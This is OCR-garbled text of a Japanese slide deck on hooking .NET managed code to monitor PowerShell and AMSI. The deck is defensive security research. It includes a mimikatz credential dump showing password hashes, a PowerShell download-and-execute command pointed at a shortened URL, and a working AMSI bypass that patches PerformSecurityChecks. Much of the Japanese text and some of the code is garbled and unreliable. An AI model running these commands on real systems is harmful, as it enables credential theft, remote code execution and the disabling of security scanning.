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= Engineer at CrowdStrike
= Twitter @standa_t

= BELAY— - VT by THEIME
= YN—RIVPZF &I THRTE
= XY TaVIT MO THESE
= HyperPlatform & SimpleSVM (/N4 /8—/\ A4 F—)DEH
= H>2T7 L2 REEE : REcon, BlueHat, Nullcon

= X254 F&Y > 7)La— K:: github.com/tandasat/DotNetHooking
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= QOffensive, post exploitation Y —JLDFTE

Q Select Administrator: Windows PowerShell

Windows PowerShell
Copyright (C> 2809 Microsoft Corporation. All rights reserved.

PS C:»UWindouws»system32> cd C:xTools mimikatz_trunk>x64
PS C:“\Tools mimikatz_trunksx64> .“mimikatz_exe "privilege::debug" "“sekurlsza::logonpasswords" exit

nimikatz 2.1.1 <x64> built on Mar 28 281
"A La Vie. A L'Amour"
S
Benjamin DELPY ‘gentilkiuw < benjaminBg
http://hlog.gentilkivi.com/mimikatz

with 21 I
mimikatz{conmandline?> # privilege::debug I
Privilege *28° 0K |
mimikatz<{commandline> # sekurlsa::logonpasswords
Authentication Id : B ; 184729 (BOPBBAOA:PEE2d199>
Bession : Interactive from
llser Hame : chrown
Domain : HF
Logon Server = HFDCHA1
Logon Time : 3212017 11:48:51 P
SID 8

(Empir

M
8-1-5-21-782132366-114303545-1885")

mnsy @
[BBPABRA3 1 Primar
: chrown
HF

: 1121f5efebcd238d?ef 988425 3F 8P HEmLre
* SHA1 : Baf4cedcdede41852hd684b?d188bec
[B0P180AA]1 CredentialKeys
* NTLM : 1121f5efebcd238d7ef988425c3£87L
= SHA1 = Bafdcedcdede41852hd684b7?d188bec
tspkg =

wdigest
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PowerShell HEEADXIEDEE L & & AMSI
NET RA 54 Ta— KT v 5 D&
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BB 8 HPOWERSHELLX 7 > F A4 JLRX(AV)

= PowerShellZEZOLANTHEEIZFIASINTLS

= AV T FO 7 TORAMEL L
= 0O+t X(powershell.exe)lIT R IBEZINF-EELHLE T 7ML
= RV TEI7AIVEHEREIZEERETES Bl AR—X, 342 K EHA)
= ROYTERIT7AINIFERSIAGZLDLDE LA
= PowerShell LV UIFFEED IOV RIZHEAAEN., T ZTEIMEL 5 % (4, PSInject)

= ERIZIEISIZEHLL:

>powershell -file “C:\\Users\\standa\\AppData\\Local\\Temp\\ns13094.ps1"
>powershell -command “iex (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFul’)”

>powershell -enc SQBtAHAAbwBYAHQALQBNAGSAZAB1AGWAZQASAEIAaQBOA..
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ANTIMALWARE SCAN INTERFACE (AMSI)

Windows 10 H 5 D FsaE

AMSITANA Z—E LTY T b =7 EZEHFR(ERIZ[EMicorosft & DNDANILE)
ROYTRIOPUIFRY )T POy RERTHNCAMSI T AL & —I[Z8RE
AMSIZANA A —EZENEEZRF YV LETETOYITES

System.Management.
Automation.dll

AsmiScanString

=l

AMSI Provider

IAntimalwareProvider::Scan
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R 0D 5 AL

ROYTRIT7A4ILDABTLHLNS

Invoke-Expression S L= X F I DABNHM S

T a— K& f=# D-EncodedCommand X F 5| HiHhH %
PowerShell LV O UAMER SN L HE. BICHW
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= AMSIIE PowerShell v5 + Windows 10D & TH %h
= PowerShellv2 [CEK BHEMN L IXSFNENAED VT L—KT7EvY)
= WL Windows/A\— 3 VIS ALY

= —EDEEEIE S uf-PowerShelllZEFTiL SN f-F E
= BHALGTFRAKRBPTIEINAIRAEINS S



LEBR BN 2/2)

=  AMSIIEPowerShellM™ L ENEEIN D H(EEEEREFE)
= AMSIZTONA A —(E, RPVDKEBEEZRBELALWVWRYSELIZNA/INREN B

= AMSIZTANA Z—AELWT—2 22 TG VEE (BFREFR TRIEE)

Reflection-based
attacks COM Hijacking

System.Management. _
Automation.dll o

AsmiScanString IAntimalwareProvider::Scan

AMSI Provider
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= PowerShelIN—XDILE(I—HE. LA LEBREHIAEE
= AMSIZIEEICER. LAMLFENH S
= FIIHTELLM?
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HOOKING FUNGTIONS
FOR 20+ YEARS
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NETRA T4 Ta—FITvs

EBENf=-2 A T4 Ta—FREESHBZL5¢I2E-T, IX*x—2RFTOSGS A
DEEZETHEICEER T T

TR S LOBMEDEROCEEZAEEL T 5
Topher Timzen & Ryan Allen IZ& Y FIH TN S T=
D FERIE AT & LR L T O F) s ldAmanda Rousseau 12 & Y EE#AIZSFl S 1=
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Rr—o 7055 LETOER (1/2)

= CH®D & D ZECommon Language Infrastructure &
ETEMNT=-T 0TS LilEMicrosoft
Intermediate Language (MSIL)[Z3a /N )L &
*L%) C# Compiler
= KEBETEZDESHTOTSLE
RER—TRTOTS L E NS

= MSILIZ2FEFEDAEKICE YRS/ T4 Ta—FK
[CavnAIILENS:
s EFECITIVNASICEY AEY LIS (JITCS)I;:piler) JIT Compile
= E{TLBTICNGENIZE Y 774JLELT

C# Source File(s)

MSIL
(Executable File)

- - “ N ,— Native Code Native Code
" L‘T?h,@i%‘%%*’f T A J— Fh\gﬂé'ﬂ'é (Memory) (Executable File)
na
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I3*— RT0T 5 LETOELEE (2/2)

= YHR—2 RT0O5 5 LIKAPIZIRIET B .NET Framework E TEfTESI S

Unmanaged Program

Managed Program

.NET Framework

Assembly Assembly

Win32 API
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= YHR—2 RT0O5 5 LIKAPIZIRIET B .NET Framework E TEfTESI S

Hook
iged Prog,. ...
Hook

Unmanaged Program

Hook
.NET Framework

Assembly Assembly

Win32 API
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» FURR—TUFRO—FK (CH+RE) DTy QORBIBTRMN:
1. Z99%F{F53—F#RETOELRLTETTS
2. MRELIEAHEDT FLAZHEET S
3. ZRLREDRAT47aA—FEZLEEET S

= NETRA T4 7aA—FKI79v O HLEBK. ELNETZ7ETUEAYY FERRE
95
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ES5V->TT7RLRZEEET HH

oL avizkyY, 92— RT7AFSAIENETZ Y TYHOA Yy K,
TJ4—ILFEEDEREETHICRGTEDS
= Y—XOA—FANDETHT7IEREEZEZTEL

RuntimeMethodHandle.GetFunctionPointer AV v Fl. & ahi-%1 T 4«
Ja—KD7 FLRZRT (FTIZaAVNNAMILEINTBES)
s T XRR— FEBLNZEEHATE %5GetProcAddress APIEZE Z T LKLY

ﬁ%%ﬂ*ﬂl?ﬁ‘\if:\\iﬁéhf WEWEE., ZNEFELFa /1 ILEnTELT ., *
A T4 73— FEFELGZLLNE LG
= RuntimeHelpers.PrepareMethod * %/ w FTITaA /N JLTES
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// Get an AmsiUtils class from an assembly
targetClass = targetAssembly.GetType("System.Management.Automation.AmsiUtils");

// Get a ScanContent method of the class
targetMethod = targetClass.GetMethod("ScanContent”, ...);

// Perform JIT compilation if not done yet
RuntimeHelpers.PrepareMethod(targetMethod.MethodHandle);

// Get an address of compiled native code
targetAddr = targetMethod.MethodHandle.GetFunctionPointer();

// Overwrite contents of the address to install hook

/] ...

23 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.



/T

24

ES30-TI7v O 9dH5a—FEETTHM

T4 VA M=)LTBHEHICIE, RETOELAATIYR—Y Fa— FZETT
THELELNDHD

7 oI — Fa— Fh 5 Hosting APIZEERHT 5
= KEETIEZFODELSHO— F%Bootstrapa— K &ELVS

Hosting APIIZ & Y, ZFUXR—U FO—FKREIRA—Y RFa—FEREL.NET7 Y
T HHmMAAFEEDHENTES

Bootstrapad— FIX#k R IEAETA > ¥ Falge (9, Applnit_Dlls, K5 4 7/3—)
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1. R IOt X[Zbootstrapa— K& A >
oy bk

2. 7Y RANET7+t > T %Bootstrap
O— koA b

3. DYOHENET7EUTEHAEAY Y

KEHR., ITa/N\AILEITL. &R/
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Target Process Address Space

Target

Assembly

3) Force to JIT compile,

Managed modify compiled native code
Hooking
Assembly
2) Load managed assembly
Unmanaged
Bootstrap
User
1) Inject bootstrap code
Kernel

Driver (*)

*) Optionally, use a driver
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USING APPDOMAINMANAGER® {i FF

1. ¥R EDAppDomainManager& £33 %
JY Y RBANET7 YT ZHRNZEER

2. E#IZAppDomainhMfES N B & =, CLR
MEZ S f=AppDomainManager (7w
JRANET7 2> T)) ZEHRAAAET

3. JYORANETZ7EDITYIEREAY Y
KEZFRRBE. ITa2 /A4 IILEfTL, &£/
Shf-RAM T4 JO—KZLEZ=

Fle:&=/hDa—Fk
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Target Process Address Space

Target

Assembly

3) Force to JIT compile,

Managed modify compiled native code
Hooking
Assembly
2) Load managed assembly
Unmanaged
.NET (CLR)
User
Kernel
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STEP1: HOOK EVERYTHING
STEP2: 223

egenerator net
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= PowerShell &L C# TE M N T=System.Management.Automation.dll[ZEE I TLVS
= AEETIEIODLLESMAMIELS

= Powershell.exelZSMAdIID Y S 4 7 > MZBEFLLY Hook

iged Prog. .....
Hook

= SAMAIDEEZT VI LT

BEfETED

Hook
.NET Framework

Assembly Assembly

Win32 API
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AMSIDILERTE &

= AMSI & BIERDBERE % Windows 8.1LARTIZ %
= AMSI & RIERDBERE % PowerShell LARITIZ 3R

= AMSI/NA ISR ZESIE

= XFII DG & R

= OTV kLY bETYY
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AMSIZTSalL—<3Y : &LVWINDOWS + PS V5

= SMAdIDAY Y FEITYHFTAIETAMSIZITIaAL— 3 0HE

= SMA.dIl (v5) TIFAMSI Z A/ #—DIFEUH L (X AmsiUtils.ScanContent A % v
FTEESNTLS

= ZDAYY FEHRBODRAFXFYyoODY Y TEESTT S

internal static AmsiNativeMethods.AMSI RESULT ScanContent (string content,
string sourceMetadata) {
if (amsiInitFailed) {
return AmsiNativeMethods.AMSI RESULT.AMSI_RESULT_NOT_DETECTED;
}
//...

hr = AmsiNativeMethods.AmsiScanString(...);
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AMSIZTE a2 lL—<3Y : &ELVPOWERSHELL

= HEE
= AmsiUtilsy S RIETEELLEL, A—T oY —RAEELFAE LA
s YN—RIVCZTFYUTEBLTETNGAY Y RERDITHARELADH S

= Good news ;-)
= BEONETTIUNA SHOFEE. TALIEERICHEAPTVI—FEERT S

= dotPeek, ILSpy, JustDecompile

= TNYH—RFV—ZADBHEIDKSICEMET S
=  WinDbg + SOS and SOSEX

= ZLOEREEFEA—TOV—RREDZENITIEL
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AMSIZNA N DESHIE

= EREIDAMSIZNA /NR[E, ScanContent A Vv K5 MDAmsiScanString BAEIFEN
H LA, BYLZAMSITO/NA Z—DLLOFBEHET S
= amsiContext oramsiInitFailed® EEZ
= COMN\A Dx vy

= REBOMBEIX. AMSIZANA A —DNELWT—422Z(TMAZ L2 HET S

s FELMEELZ(TLY (ScanContentHAMSIZANA A —HFERA LAV =60)

System.Mai Hooked
- Code
Automa AMSI Provider

AsmiScanString IAntimalwareProvider::Scan
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n HEEIEAERRINT-IREEDINTG A —F —(ZT7 7 2 X O[HE
= OT2RLY FREITENS E ZProcessRecord A Yy AU EN S

= {5, InvokeExpressionCommand.ProcessRecord = Invoke-Expression

= “this” IR VA —WENT A -2 —%RiF
= PS> IEX ("{6H{2H1H{4H5HK3HO}" -f'd!','Hos','e-'," is a bad comman’,'t t','his','"Writ’)
= this->_command = “Write-Host this is a bad command!”
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A2 & IR

JIN—RIT DT )G EEEEKEOI— FARE
BLARNILDAYY KEITY Y LE=BE. HANZ T EFSLaReH
WEEHIRFEDT I =V IIZ&Y T v %/INA/NXTHE

Overwrites PerformSecurityChecks as { return }
disabling AMSI and the most of suspicious script block logging.

$code byte (0xc3);

$addr
Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetMethod('PerformSecurityChecks'
"NonPublic,Instance', $null, [Type]::EmptyTypes, $null).MethodHandle.GetFunctionPointer();

v v # H# H

> $definition "[D11lImport("kernel32.d11")] public static extern bool VirtualProtect(IntPtr Address, UInt32 Size,
UInt32 NewProtect, out UInt32 OldProtect); ‘;

> $kernel32 = Add-Type -MemberDefinition $definition -Name ‘Kernel32’ -Namespace ‘Win32’ -PassThru;

> $oldProtect UInt32]0;

> $kernel32::VirtualProtect($addr, $code.Length, 0x40, [ref|$oldProtect);

> [Runtime.InteropServices.Marshal]::Copy($code, @, $addr, $code.Length);
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FED

= AMSHEZFDFEZETELRIY T FOEFTICH T Ha[fREZEHIDIZERHA. LML

R L H 5
= NETRATATOA—F IV DICKYIRKR—O R TAOYSLOEELZER - LTET
=5

= AMSIE RIFRDBEREZ T LV N\— 2 3 > DWindowsXPowerShell E TEETZE 5
= BHEIZIHLT, SoIZREL-HEEZEETE S
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TEXalT4 787z vdaFILAmEIT

= Windows 10 + PowerShell v5Z{EFH L. %) T4 e ZEET S
= AMSIIAIREDR EICEREIZHFEST S
= X9 YFrTJayy - 0xXTE A0 T FMROKRERICER
= JEAICK Y EBENETARGIRELZHIETES

= Constrained Language Mode & Applocker & 7= (& Device GuardZE A9 %
= PowerShell+!) 7LV L3 oR—XOKE (R YT r7AvY - X7 ELUVAMSIA
A /1\R) E%&<

= PowerShell v2 ZHIf&T 5

= AU L—KT7R v %S
» AT LEFHICED

= AMSINA INRADIEEL E
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MEE/LX12) T4V I DT TARUA—MmIT

AMSIDIEEEXIEfE T 5 (AMSITHES L TLNVS)

NETRA T4 TaA—KRI7vIOPRKLROIT—ILD=HIZF|BRIgEM T 5
= IX—T ROV LDOERICER
= FELHLOVET MIEMHADI Y-
= Iz TEMICHFIRAETEE (B, BN, T2/Nv D)

Y2 TJ)La— K% R THB: github.com/tandasat/DotNetHooking
= NET Core ({5, PowerShell v6)IZ %, 5& FA A BE

PowerShell A 5 MDGetFunctionPointer MF|BIZEET S
= WEEHIZEH>THERASINSAEMENDH S
= Add-Type & VirtualProtect [FWAETIXZAZ LN (T /A )L ENTF=a— FIZRWX)
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https://github.com/tandasat/DotNetHooking

S EE

= Alex lonescu (@aionescu)

= Aaron LeMasters (@lilhoser)

= EFAR—La3VEFEHEZTNI-HARELE:
= Matt Graeber (@mattifestation)
= Daniel Bohannon (@danielbohannon)
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THANK YOU!

Satoshi Tanda

@standa_t
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QUESTIONS
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RESOURCES: RELEVANT RESEARCH

= AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It
L] Nikhil Mittal
= https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-1t-Does-It.pdf

= Hijacking Arbitrary .NET Application Control Flow

- Topher Timzen and Ryan Allen
- https://media.defcon.org/DEF%20CON%2023/DEF%20CON%2023%20presentations/DEFCON-23-Topher-Timzen-Ryan-Allen-Hijacking-Arbitrary-NET-Application-Control-
FlowWP.pdf

= .Net Hijacking to Defend PowerShell
. Amanda Rousseau
= https://www.slideshare.net/AmandaRousseaul/net-hijacking-to-defend-powershellbsidessf2017
= https://arxiv.org/ftp/arxiv/papers/1709/1709.07508.pdf

» AMSI Bypass via PowerShell
= Matt Graeber
= https://twitter.com/mattifestation/status/735261120487772160
= https://gist.github.com/mattifestation/46d6a2ebb4alf4f0e7229503dc012ef1

= AMSI Bypass via Hijacking
. Matt Nelson
= https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/
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https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf
https://media.defcon.org/DEF CON 23/DEF CON 23 presentations/DEFCON-23-Topher-Timzen-Ryan-Allen-Hijacking-Arbitrary-NET-Application-Control-FlowWP.pdf
https://www.slideshare.net/AmandaRousseau1/net-hijacking-to-defend-powershellbsidessf2017
https://arxiv.org/ftp/arxiv/papers/1709/1709.07508.pdf
https://twitter.com/mattifestation/status/735261120487772160
https://gist.github.com/mattifestation/46d6a2ebb4a1f4f0e7229503dc012ef1
https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/

RESOURCES: CLR & .NET INTERNALS

= CoreCLR -- the open source version of CLR and .NET Framework
= https://github.com/dotnet/coreclr/tree/master/Documentation/botr
= https://github.com/dotnet/docs

= PowerShell Core -- the open source version of PowerShell
= https://github.com/PowerShell/PowerShell

= Hosting APl and Injection
= https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/
= https://code.msdn.microsoft.com/windowsdesktop/CppHostCLR-e6581ee0 (CLR 4)
= https://code.msdn.microsoft.com/windowsdesktop/CppHostCLR-4da36165 (CLR 2)
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RESOURCES: POWERSHELL DEBUGGING

Debugging Managed Code Using the Windows Debugger
= https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugging-managed-code

WinDbg / SOS Cheat Sheet
= http://geekswithblogs.net/.netonmymind/archive/2006/03/14/72262.aspx

WinDbg cheat sheet
= https://theartofdev.com/windbg-cheat-sheet/

SOSEX

= http://www.stevestechspot.com/

MEX Debugging Extension for WinDbg
= https://blogs.msdn.microsoft.com/luisdem/2016/07/19/mex-debugging-extension-for-windbg-2/
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RESOURCES: EXAMPLE DEBUGGING SESSION (1/2)

STEP 1: Run powershell.exe normally and attach with a WinDbg. Then break in
to a debugger, and load SOS and SOSEX extensions.

:003> .loadby sos mscorwks
:003> .load C:\\windbg init\\sosex_64\\sosex.dll

O ® H H H H

STEP 2: Set a breakpoint onto the InvokeExpressionCommand.ProcessRecord method

H H

()

:003> Imbm Microsoft.PowerShell.Commands.InvokeExpressionCommand.ProcessRecord
Breakpoint set at Microsoft.PowerShell.Commands.InvokeExpressionCommand.ProcessRecord() in AppDomain ©000018a8fbel670.
0:003> g

#

# STEP 3: Execute the Invoke-Expression cmdlet on PowerShell. The breakpoint

# should hit.

#

PS> IEX ("{6}{2}{1}{4}{5}{3}{e}" -f 'd!','Hos','e-"'," is a bad comman','t t',"'his', 'Writ")
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RESOURCES: EXAMPLE DEBUGGING SESSION (2/2)

#

# STEP 4: Dump contents of the "this" pointer and find the address of the
# _command field.

#

0:006> !do rcx

Fields:

MT Field Offset Type VT Attr Value Name
00007fff58e27edd 4000252 70 System.String © instance 0000018a9le5fef@ _command
#

# STEP 5: Dump contents of the _command field.
#

0:006> !do 0000018a9le5fef0

String: Write-Host this is a bad command!
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